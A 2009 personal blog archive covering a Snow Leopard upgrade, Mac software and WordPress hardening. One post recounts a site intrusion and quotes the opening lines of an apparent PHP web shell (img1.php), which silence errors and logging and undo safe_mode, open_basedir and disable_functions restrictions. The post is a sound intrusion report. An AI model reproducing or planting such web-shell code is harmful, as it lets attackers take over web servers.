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Textpander Works in Snow Leopard

October 10, 2009 by debbie T | Mac Snow Leopard • Mac Software

Yay, my oldie but goodie freeware app Textpander (before it was sold and changed to TextExpander) works perfectly in Snow Leopard.

I wasn’t sure if it would come through, but I am happy to report that it’s fine!

Snow Leopard Upgrade

October 10, 2009 by debbie T | Mac Snow Leopard • Mac Software

Important: Before upgrading, I carefully researched all my installed apps to make sure there wasn’t compatibility issues with Snow Leopard: http://snowleopard.wikidot.com/

So, Thursday was the big day. I decided to upgrade to Snow Leopard on my MacBook Pro (Santa Rosa 2.2 GHz, 4gb Ram) previously running Leopard.

Create a Bootable Backup of your Hard Drive

First and foremost, I regularly create a bootable cloned copy of my hard drive. I use Super Duper, but Carbon Copy Cloner will also work. Making a complete clone of your hard drive will ensure that you can easily revert back to Leopard (or Tiger) if something goes wrong with your upgrade.

I create a backup clone approximately every month or two. I also do it before I install any major Mac OS X upgrades. It has saved my butt on more than one occasion, even when my Macbook Pro hard drive failed. It’s easy to boot into your external drive and carry on!

To make a bootable clone, you must have a blank external hard drive. You can partition a section of a larger external drive, or utilize the whole drive. Either way, the external “target” drive will be completely erased, so do not use a drive with important backups or files.

Launch Super Duper.

Choose your hard drive as the “Source” on left and your external drive as the “Target” on right. Then hit the Copy Now button.

superduper

You will be asked for your admin user account and password. It will probably take a few hours to complete the backup depending on how large your hard drive is. A good time to complete this is when you are at work or asleep.

Once the bootable clone is finished, it’s very important to boot into the new drive to verify that it works properly. Restart Mac OS X, and when you hear the “gong”, hold down the ALT/Option key. When the icons appear, choose the newly created boot drive, and Mac OS X will start in that drive.

How can you ensure that you are truly booted into your boot drive?

In Finder, choose one of your folders or files. The path to the file/folder will be displayed at the bottom of your Finder window. ie Boot>Users>MyProfile>Desktop

If you do not see this path, in the Finder menu bar, choose View>Show Path Bar.

pathbar

Comparing Hard Drives

Okay, I admit it, I am obsessively over-organized sometimes. So this is a step you can ignore if you feel it’s too analytic!

When I create a bootable backup, I always compare used space on both hard drives. Click to select your hard drive in finder, then hit File>Get Info or you can use the keyboard shortcut ⌘ + I (Command key + I for Info)

boot vs hd

I never really looked into what constitutes the difference in drive space, but I assume it’s temp or cached files and stuff like that. In order to keep my Mac running smoothly, I take an extra step and copy my bootable drive back to my HD space. It can add back drive space (in my case, almost 4gb) and it’s an easy way to optimize the drive if it’s fragmented. Most times, I have found my system runs quicker after this step.

Okay, so you have to be booted into your cloned boot drive if you want to complete this step. Follow the same procedure as when you made the initial backup, except the Boot drive is the “Source” on left and your system hard drive is the “Target” on the right.

Once that is completed, compare drive space on both drives again. It should be almost identical, give or take a few bytes.

IMPORTANT: It’s important to now restart and boot into your system hard drive!!!!

Time to Upgrade

Now I am finally ready to upgrade from Mac OS X Leopard to Snow Leopard. (Make sure you are booted into your hard drive, not your bootable backup clone)

I safely ejected and removed cables to all USB and Firewire hard drives from my Mac hardware.

Inserted the Snow Leopard Install DVD.

In the Customize options window:

I removed checkmark next to Language Translations and X11.

SL-customize-install

I was surprised that it didn’t ask me if I wanted to install fresh or upgrade. I was planning on “upgrading” initially anyway just to find out how much hard drive space I was officially gaining. I then planned on re-installing fresh later if there were problems.

Once the upgrade started, it indicated that the process would be 45 minutes, then it quickly adjusted to over an hour. I decided to leave it alone and go downstairs to watch TV for a few minutes. I took my iPhone stop watch with me.

I came back upstairs after approximately 17 minutes, and it was in the middle of a reboot.

After the reboot, it stated 30 minutes remaining.

I left again to return in 12 minutes, where the install process was stating 4 minutes remaining.

All in all, the upgrade process was approximately 40 minutes.

After the Smoke Cleared

Mac OS X automatically rebooted and started in Snow Leopard. It didn’t seem any quicker to start, but I have a ton of start up menu items and apps, so I don’t expect miracles there.

I was pleased to see my hard drive space was indeed thinner.

I started with 58.26 gb (after restoring my cloned backup) and after the Snow Leopard upgrade, I was @ 55.35 gb.

Software update started, and after the 10.6.1 update, my hard drive space was lowered to 55.22 GB, so I saved almost 3gb in the upgrade. Not bad.

I haven’t launched many apps yet, but I was most concerned about Thunderbird failing. I had read that several users were having issues after a fresh install of Snow Leopard. I launched Thunderbird, and all seems to be working fine. I’ve been using it for a couple of days with no problems. Phew.

I was also concerned about my older Wacom tablet, but so far it’s working perfectly.

Only other grumble was when I woke my system yesterday morning, there were several OLD iCal alarms (from back to August) that appeared. But no other problems with iCal other than that so far.

I have been browsing the web using Safari and Firefox, sending and receiving mail in Thunderbird, using Transmit for SFTP, and opening photos in Preview. So far so good.

Truthfully, I don’t think I will be sticking to my original plan to re-install from scratch. Surprisingly, there doesn’t seem to be a need yet, but time will tell when I start to launch more apps later.

I don’t know if I just got lucky, or if perhaps optimizing my hard drive by restoring the clone helped. I don’t know!

I Was Hacked!

October 2, 2009 by debbie T | WordPress

Eeek! First off, let me say Thank God that I had the WordPress plugin “WordPress File Monitor” installed, because that is what alerted me to the problem. Note to Bart B if you are reading this, heehe, I am glad I wasted my time with that voodoo! ;)

So, I get an email today from the WordPress File Monitor (dated yesterday, I am slow) informing me that a bunch of files were uploaded to one of my other blogs in the “uploads” directory – left as 777 permissions for easy photo uploading.

In the uploads directory, a file named “img1.php” was added, along with a fresh new directory named “2008″ with a bunch of sitemap files. (note: I just started this blog in July of 2009, and I have no entries or uploads from 2008, so it was very fishy.)

So, of course my first thought is am I going crazy? Did I somehow upload these files without knowing? Initially at first I didn’t notice the .php file, so I only thought the 2008 sitemap files were added.

I contacted my host, and she assured me that it wasn’t anything too terrible, that it was an every day run of the mill spammer. Sneaky spammers! She has seen this sort of thing many times.

She suggested I change my WordPress password and check the database for any extra users. I found no other user accounts, thankfully!

For future reference, I found two articles that list details on how to find and remove any hidden admin users:

http://blog.nachotech.com/?p=125
http://www.studionashvegas.com/wordpress/latest-wordpress-hack-check-your-permalinks-people/

But now I am left puzzled on how they got in!

My WordPress admin password was pretty strong – 15 characters (numerical, upper and lower case letters) and I wasn’t using the default “admin” as my user name either. My host also suggested it might have been from “an exploit via a plugin that isn’t secured against arbitrary remote inclusion/retrieval”

I am only running 4 plug-ins. Akismet, Hello Dolly, WP Security Scan, and WordPress File Monitor. I did also have the un-updated WordPress Exploit Scanner plug-in, but it was left de-activated. I have since removed it from the plugins folder.

I suppose since I don’t have a secure login, I imagine that possibly my password could have been bypassed? I dunno. I think I might install the Login Lockdown plugin – yeah, Bart more voodoo!

Well, anyway, I am going to really search through my files and make sure everything else is alright.

I found an article that might help me search through the database just in case the spammers attached anything to my posts.

Right now, it doesn’t look like much damage was done. But worse case scenario, I have database backups every night. I can always revert back to one of the older ones and re-create the newer entries I wrote, or I could even export my entries and install a fresh copy of wordpress. We’ll see.

So, be wary of your WordPress blogs! I dunno how they got into mine, but they did, and thankfully I was lucky and it wasn’t too painful!

PS. I took a look at the .php file they added, and one of the first lines of code was $language=’ru’ (aah, From Russia with love!) But anyway, here is the some of the code from the file:

error_reporting(0);
$language='ru';
$auth = 0;
$name='abcdef1234567890abcdef1234567890';
$pass='abcdef1234567890abcdef1234567890';
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_set('error_log',NULL);
@ini_set('log_errors',0);

Mac Apps and Compatibility with Snow Leopard

October 2, 2009 by debbie T | Mac Corner • Mac Snow Leopard • Mac Software

I have Mac OS X Snow Leopard on order from Amazon. It will be here any day. In the meantime, I am getting organized and ready for the big re-install.

I have a plan to go the “upgrade” route first, to find out how much space I would save by upgrading.

Then the plan is to wipe the drive and install fresh.

Anyway, I want to make sure I get all my Mac apps in order with serial numbers, etc. I also want to make sure I download the most current version to ensure compatibility with Snow Leopard.

I found this great wiki site with lots of great info about Mac apps and their compatibility to Snow Leopard
http://snowleopard.wikidot.com/start

Amazon Call Me!

September 16, 2009 by debbie T | Internet

I was having a little problem with my Amazon purchase this morning, and I wanted to contact them about it. I clicked the “contact us” link at the bottom of the page.

contact us - amazon

A new windows opens, and your account name & password can be entered. (not required)

I figured I would just email them, since it wasn’t a big problem. But when I saw the contact options I was intrigued.

amazon-phone2

I clicked on the “Phone” tab and found a feature that calls you instead of you calling them! I had to try it! (I am pretty sure this feature isn’t necessarily new, but it’s been a long time since I had any issues with Amazon, so I am behind the times!)

After typing in my account password again, it opens another new window where you need to type your phone number. The default is to call you right away, but there is an option to choose a 5, 10, or 15 minute delay.

amazon-phone3

Once you submit your phone number info, your phone will ring immediately! Pick it up, and an automated voice tells you to hang on, etc…I figured it might be a bit of a wait, but nope! I was talking to Jennifer within a minute and she helped me with my problem. I don’t think I was on the phone for longer than 5 minutes from start to finish.

Why would you want to use this feature instead of just calling them yourself? Well, probably because your account info is immediately known by the customer service associate and it saves a lot of time! Plus it’s soo freakin’ cool!

AppleStore Robbed

September 3, 2009 by debbie T | Mac Corner • Ramblings

No, it isn’t funny that an Applestore was robbed, but the guy doing the voice over on the survellence tape sure is a riot. Who talks like that anymore?

“Leaving only the price tags behind!!!!” LOL. What a pompous jerk! I hate newscasters that sound like that!

http://abclocal.go.com/wpvi/video?id=6996090

(Note: I tried to embed the video, but for some reason, the code won’t work, so a link will have to do. Sorry)

Changing Admin User Name for Better Security in WordPress

August 31, 2009 by debbie T | WordPress

It’s been advised to change the default “admin” user name on WordPress installs, and it sounded like a great idea, until I tried to do it.

I found instructions, but details on how to actually edit the mySQL table were not explained. I tried to figure it out, but it just seemed too complicated.

The instructions over at guvnr.com were very helpful, but I didn’t want to start a new admin username, and delete the default user name, when I had so many older posts.

Well, I figured it out. WordPress allows you to move your posts, pages, etc to a different user! Yay!

Add a new user with Admin privileges.
Go to Edit Posts and select all posts on the first page
Choose “Edit” from the Bulk Edit pull down menu and hit the Apply button
In the Bulk Edit editing area, choose your new user account from the Author pull down menu.
And lastly, hit the “Apply” button.

Go through each page of posts and repeat.

Awesome! I love WordPress!

ETA: hahaa, okay, I admit I am a big dope. I went through the above steps on one of my WordPress. After all posts were moved to the new user, it was time for me to delete my original admin user account.

I guess when you delete a user, WordPress asks you if you want to attribute all posts to a new user, and gives you the opportunity to do so.

Oh well, I guess you all can ignore this post! haha!

One last note: Just make sure before you delete that you are logged out of the original admin account and logged in to the new one. And for safety, BACK UP your database first!!! Just in case!

WordPress Security

August 31, 2009 by debbie T | WordPress

Slowly, I am working through all my WordPress blogs and trying to make them more secure. I have found several web site articles and WordPress plugins that have been very helpful.

New blog article from Matt – UPGRADING is the only way to keep yourself safe!

Good Mornin’

July 31, 2009 by debbie T | Digital Photography

Happy Friday!

Good morning bug on a wet leaf

Don’t Be Afraid to Think Big!

July 12, 2009 by debbie T | Digital Photography

We found this teenie tiny little guy this morning. Isn’t he adorable?

teenie tiny frog toad creature